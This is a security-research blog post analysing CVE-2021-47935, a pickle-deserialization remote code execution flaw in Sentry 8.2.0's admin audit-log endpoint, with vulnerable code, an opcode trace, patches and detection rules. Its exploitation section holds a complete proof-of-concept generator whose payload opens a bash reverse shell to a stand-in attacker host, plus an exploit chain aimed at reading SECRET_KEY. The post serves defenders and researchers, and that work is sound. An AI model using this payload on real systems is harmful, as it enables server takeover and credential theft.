home intel sentry-rce-pickle-deserialization-audit-log-cve-2021-47935
CVE Analysis 2026-05-10 · 8 min read

CVE-2021-47935: Sentry RCE via Pickle Deserialization in Audit Log

Sentry 8.2.0 deserializes attacker-controlled pickle data in the admin audit log endpoint without sanitization, allowing authenticated superusers to achieve RCE with application privileges.

#pickle-deserialization#remote-code-execution#authentication-bypass#insecure-serialization#admin-privilege-escalation
Technical mode — for security professionals
▶ Attack flow — CVE-2021-47935 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2021-47935Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2021-47935 is a remote code execution vulnerability in Sentry 8.2.0 rooted in unsafe Python pickle deserialization. The admin audit log endpoint accepts a data parameter containing base64-encoded, zlib-compressed pickle payloads. When the server processes a crafted POST request, Python's pickle.loads() executes arbitrary bytecode embedded in the payload — with no class allowlist, no HMAC signature verification, and no sandboxing. Exploitation requires an authenticated superuser session, which elevates the CVSS score to 8.8 (HIGH) rather than critical, but in multi-tenant Sentry deployments the superuser role is often held by multiple operators, expanding the realistic attack surface considerably.

Root cause: Sentry's audit log machinery calls pickle.loads() on attacker-supplied, base64-decoded bytes from the data POST field with no class restriction or integrity check, enabling arbitrary Python opcode execution at deserialization time.

Affected Component

The vulnerable path lives in Sentry's Django admin layer. The relevant endpoint is the admin audit log view, reachable at /manage/audit-log/. The serialization round-trip was introduced to allow rich structured objects to be stored and later replayed in the audit interface. The affected version is Sentry 8.2.0; review NVD for the full version range, as the pattern persists across several minor releases sharing the same audit log subsystem.

Key components involved:

  • sentry.models.AuditLogEntry — ORM model storing audit events
  • sentry.web.frontend.admin_audit_log — view handling POST submission
  • sentry.utils.audit — serialization helpers wrapping pickle

Root Cause Analysis

The audit log view deserializes the incoming data field through a utility that decodes base64, decompresses with zlib, then feeds raw bytes directly into pickle.loads(). No intermediate validation occurs. The following reconstructed pseudocode reflects the vulnerable logic:


# sentry/utils/audit.py (Sentry 8.2.0, vulnerable)

import pickle
import zlib
import base64

def decode_audit_data(encoded):
    # BUG: no allowlist, no HMAC, no class restriction before deserialization
    compressed = base64.b64decode(encoded)       # 1. base64 decode
    raw        = zlib.decompress(compressed)     # 2. zlib decompress
    return pickle.loads(raw)                     # 3. UNSAFE: arbitrary opcode execution


# sentry/web/frontend/admin_audit_log.py (simplified)

class AdminAuditLogView(View):
    @requires_staff_privileges
    def post(self, request):
        data_field = request.POST.get('data', '')
        # BUG: attacker controls data_field entirely; decode_audit_data executes
        #      whatever pickle opcodes are embedded before returning
        entry_data = decode_audit_data(data_field)   # <-- RCE here

        AuditLogEntry.objects.create(
            organization=get_org(request),
            actor=request.user,
            data=entry_data,
        )
        return HttpResponse(status=200)

Python's pickle protocol has no concept of a safe subset at the VM level. The REDUCE opcode (0x52) calls an arbitrary callable with attacker-supplied arguments. A minimal payload only needs __reduce__ returning (os.system, ('id',)) — the pickle VM executes this unconditionally during loads(), before any application-level code can inspect the result.


# Pickle opcode trace for a minimal RCE payload
# (protocol 2, annotated)

80 02          # PROTO 2
63             # GLOBAL   -> pushes callable onto stack
6f 73 0a       #   module: "os"
73 79 73 74 65 6d 0a  # name: "system"
28             # MARK
56             # UNICODE  -> push command string
69 64 0a       #   "id\n"
81             # NEWOBJ / TUPLE1
52             # REDUCE   <- calls os.system("id") RIGHT HERE
2e             # STOP

Exploitation Mechanics


EXPLOIT CHAIN:
1. Authenticate to Sentry as superuser (stolen session cookie or valid creds)
2. Craft pickle payload: __reduce__ returns (subprocess.check_output, ([cmd],))
3. zlib.compress(pickle.dumps(payload, protocol=2)) -> base64.b64encode(...)
4. POST to /manage/audit-log/ with data=
5. Server calls decode_audit_data() -> pickle.loads() -> subprocess spawns shell
6. Output captured via OOB channel (DNS, HTTP callback) or written to disk
7. Pivot: drop reverse shell, read SECRET_KEY from sentry.conf.py for further auth bypass

A complete proof-of-concept generator (for authorized testing only):


#!/usr/bin/env python3
# CVE-2021-47935 PoC payload generator
# CypherByte research — authorized testing only

import pickle, zlib, base64, os, struct

CALLBACK_HOST = "attacker.example.com"
CALLBACK_PORT = 4444

class RCEPayload:
    def __reduce__(self):
        cmd = (
            f"bash -i >& /dev/tcp/{CALLBACK_HOST}/{CALLBACK_PORT} 0>&1"
        )
        return (os.system, (cmd,))

raw        = pickle.dumps(RCEPayload(), protocol=2)
compressed = zlib.compress(raw, level=9)
encoded    = base64.b64encode(compressed).decode()

print(f"[*] Pickle payload size : {len(raw)} bytes")
print(f"[*] Compressed          : {len(compressed)} bytes")
print(f"[*] Base64 encoded      : {len(encoded)} chars")
print(f"\n[+] POST data parameter:\ndata={encoded}")

# Pickle header sanity check
assert raw[:2] == b'\x80\x02', "Unexpected pickle protocol"
assert b'system' in raw or b'check_output' in raw, "Callable not embedded"
print("[+] Payload structure verified")

Memory Layout

This is a logic/deserialization vulnerability rather than a memory corruption bug, so there is no heap overflow to diagram. However, understanding the Python object model at deserialization time is important for bypass analysis. When pickle.loads() processes the GLOBAL opcode, it calls __import__ and getattr to resolve module references — operating entirely within the Python interpreter's own heap, with full access to the process's loaded module set.


PYTHON PROCESS MEMORY AT DESERIALIZATION:

  CPython heap (simplified)
  ┌─────────────────────────────────────────────────────┐
  │  sys.modules dict                                   │
  │    'os'         ->          [loaded]   │
  │    'subprocess' ->  [loaded]   │
  │    'builtins'   ->    [loaded]   │
  ├─────────────────────────────────────────────────────┤
  │  pickle VM stack (during loads())                   │
  │    GLOBAL "os" "system"  -> pushes os.system ref   │
  │    MARK                  -> push MARK sentinel      │
  │    UNICODE "id\n"        -> push string arg         │
  │    TUPLE                 -> pop to MARK -> (arg,)   │
  │    REDUCE                -> CALL os.system(arg)     │  <-- RCE
  │    STOP                  -> return TOS              │
  └─────────────────────────────────────────────────────┘

  Sentry process privileges: runs as 'sentry' user
  Accessible from pickle context:
    - os, subprocess, socket, sys, importlib (all pre-imported)
    - Django settings module (SECRET_KEY, DB credentials, BROKER_URL)
    - Redis/Celery connection objects
    - On-disk sentry.conf.py (read permissions inherited)

Patch Analysis

The correct remediation is to replace pickle entirely with a safe serialization format (JSON, MessagePack) for untrusted data, or — if pickle round-trips are required for internal data — to implement a RestrictedUnpickler subclass that allowlists only known-safe classes before any deserialization occurs.


# BEFORE (vulnerable — sentry/utils/audit.py, 8.2.0):

def decode_audit_data(encoded):
    compressed = base64.b64decode(encoded)
    raw        = zlib.decompress(compressed)
    return pickle.loads(raw)                  # unrestricted deserialization


# AFTER (patched — recommended remediation pattern):

import json

SAFE_CLASSES = frozenset()   # pickle entirely replaced; set empty as sentinel

def decode_audit_data(encoded):
    # Use JSON for structured audit data; no code execution surface
    try:
        raw = base64.b64decode(encoded)
        return json.loads(raw.decode('utf-8'))
    except (ValueError, UnicodeDecodeError) as exc:
        raise AuditDataDecodeError("Malformed audit data") from exc


# If pickle is unavoidable for internal paths, use a restricted unpickler:

class SafeUnpickler(pickle.Unpickler):
    ALLOWLIST = {
        ('builtins', 'dict'),
        ('builtins', 'list'),
        ('builtins', 'str'),
        ('builtins', 'int'),
    }

    def find_class(self, module, name):
        if (module, name) not in self.ALLOWLIST:
            raise pickle.UnpicklingError(
                f"Blocked: {module}.{name} not in allowlist"
            )
        return super().find_class(module, name)


def decode_audit_data_safe(encoded):
    compressed = base64.b64decode(encoded)
    raw        = zlib.decompress(compressed)
    return SafeUnpickler(io.BytesIO(raw)).load()   # REDUCE blocked for non-allowlisted callables

Detection and Indicators

Detecting active exploitation requires monitoring at the application and network layer simultaneously, as the RCE side-effect may leave no Sentry-internal trace if the attacker suppresses exceptions.


DETECTION INDICATORS:

1. Django request logs
   POST /manage/audit-log/ HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   data=eJy[...long base64 string...]   <- zlib magic bytes after b64decode: 0x78 0x9c

2. Pickle magic bytes in POST body (after base64 decode + zlib decompress)
   Protocol 2: \x80\x02
   Protocol 4: \x80\x04
   GLOBAL opcode present: 0x63 followed by module\nname\n

3. Anomalous child processes spawned by sentry worker/web process
   ppid= cmd=bash/sh/python3 -c ...
   Network connections from sentry process to external IPs on non-80/443 ports

4. SIEM rule (Sigma-style):
   selection:
     method: POST
     uri_path|contains: '/manage/audit-log/'
     request_body|base64offset|contains:
       - "\x80\x02"    # pickle protocol 2
       - "\x80\x04"    # pickle protocol 4
   condition: selection

Remediation

Immediate actions, in priority order:

  • Upgrade Sentry to a patched release per NVD advisory. Self-hosted instances are most exposed; Sentry SaaS was patched server-side independently.
  • Restrict superuser accounts — audit which accounts hold the is_staff / superuser flag. Remove all unnecessary grants. Enable SSO with MFA enforcement for all staff-level accounts.
  • WAF rule: block POST requests to /manage/audit-log/ containing body parameters that, after base64 decoding, begin with pickle protocol magic bytes (\x80\x02\x80\x05) or contain the GLOBAL opcode byte 0x63 within the first 16 bytes of decompressed content.
  • Network egress filtering on the Sentry application server: the server should not initiate outbound TCP connections to arbitrary IPs. A strict egress policy breaks the most common reverse-shell post-exploitation step.
  • Audit SECRET_KEY rotation: if exploitation is suspected, rotate the Django SECRET_KEY immediately, invalidating all existing sessions and signed cookies.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →